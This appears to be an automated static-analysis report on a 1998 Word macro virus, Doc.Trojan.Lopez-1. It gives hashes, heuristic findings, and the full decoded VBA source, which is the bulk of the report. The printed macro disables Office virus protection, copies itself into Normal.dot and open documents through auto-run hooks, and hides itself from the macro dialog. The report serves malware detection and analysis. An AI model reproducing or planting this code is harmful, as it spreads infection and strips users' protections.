Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01ab2fff0a66af9b…

MALICIOUS

Office (OLE)

42.0 KB Created: 1998-04-20 03:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 159ecb69f047ba12f2f8dc7803dc8334 SHA-1: 4c7e4232442a12cd2f036cd71815ce23145daed8 SHA-256: 01ab2fff0a66af9bb64350c936dcde9ee8904d14815888b461243f1b4e9b0159
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits critical heuristic firings for legacy WordBasic macro-virus markers and VBA macros, including AutoOpen and AutoClose routines. The embedded VBA script, named 'Word97Virus1', attempts to infect both the global template (Normal.dot) and the active document by copying itself and associated macros. This behavior is characteristic of older macro viruses aiming for propagation.

Heuristics 6

  • ClamAV: Doc.Trojan.Lopez-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lopez-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3289 bytes
SHA-256: 962bb3371a873e164a98864a92078d78289fc92ae5895007ae28f86c4f4ce360
Detection
ClamAV: Doc.Trojan.Lopez-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Word97Virus1"
Sub Word97Virus1()
Attribute Word97Virus1.VB_Description = "Macro created 04/20/98 by Evelyn N. Lopez"
Attribute Word97Virus1.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Word97Virus1"
'
' Word97Virus1 Macro
'

If Application.Version = "8.0" Then

Dim Iflag
Dim I
Options.VirusProtection = False
Options.SaveNormalPrompt = False

Iflag = 0

' Check Global Template for Infection

For I = 1 To WordBasic.CountMacros(0, 0)
    If WordBasic.[MacroName$](I, 0, 0) = "Word97Virus1" Then
        Iflag = 1
    End If
Next I

' Is Global Infected?
If Iflag = 1 Then
' Yes - Jump to GlobInf
    GoTo GLobInf
Else
' No - Infect
    On Error Resume Next
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Word97Virus1", wdOrganizerObjectProjectItems
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "NewMacros", wdOrganizerObjectProjectItems
End If
GLobInf:

Iflag = 0

' Check Active Document for Infection
For I = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](I, 1, 0) = "Word97Virus1" Then
        Iflag = 1
    End If
Next I

' Is it infected?
If Iflag = 1 Then
' Yes - Jump to FileInf
    GoTo FileInf
Else
' No - Infect
    On Error Resume Next
    Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Word97Virus1", wdOrganizerObjectProjectItems
    Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "NewMacros", wdOrganizerObjectProjectItems
End If
FileInf:
' Check for Payload Trigger


End If
End Sub
Sub AutoNew()
Application.Run "Word97Virus1"
End Sub
Sub AutoClose()
Application.Run "Word97Virus1"
End Sub
Sub AutoExec()
Application.Run "Word97Virus1"
End Sub
Sub AutoSave()
Application.Run "Word97Virus1"
End Sub
Sub AutoOpen()
Application.Run "Word97Virus1"
End Sub
Sub FileClose()
Application.Run "Word97Virus1"
Dialogs(wdDialogFileClose).Show
End Sub
Sub FileNew()
Dialogs(wdDialogFileNew).Show
Application.Run "Word97Virus1"
End Sub
Sub FileSaveAs()
Application.Run "Word97Virus1"
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePrint()
Selection.Font.Name = "Courier"
Selection.Font.Size = 8
Selection.Font.Bold = True
Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="hE wHo LiVeS iN tHe PaSt HaS nO ChAnCe To SuRviVe In ThE fUtUrE..."
Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
Dialogs(wdDialogFileOpen).Show
Application.Run "Word97Virus1"
End Sub

Attribute VB_Name = "NewMacros"
Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Runs, creates, deletes, or revises a macro"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.ToolsMacro"
Application.OrganizerDelete ActiveDocument.FullName, "Word97Virus1", wdOrganizerObjectProjectItems
Application.OrganizerDelete NormalTemplate.FullName, "Word97Virus1", wdOrganizerObjectProjectItems
Dialogs(wdDialogToolsMacro).Show
End Sub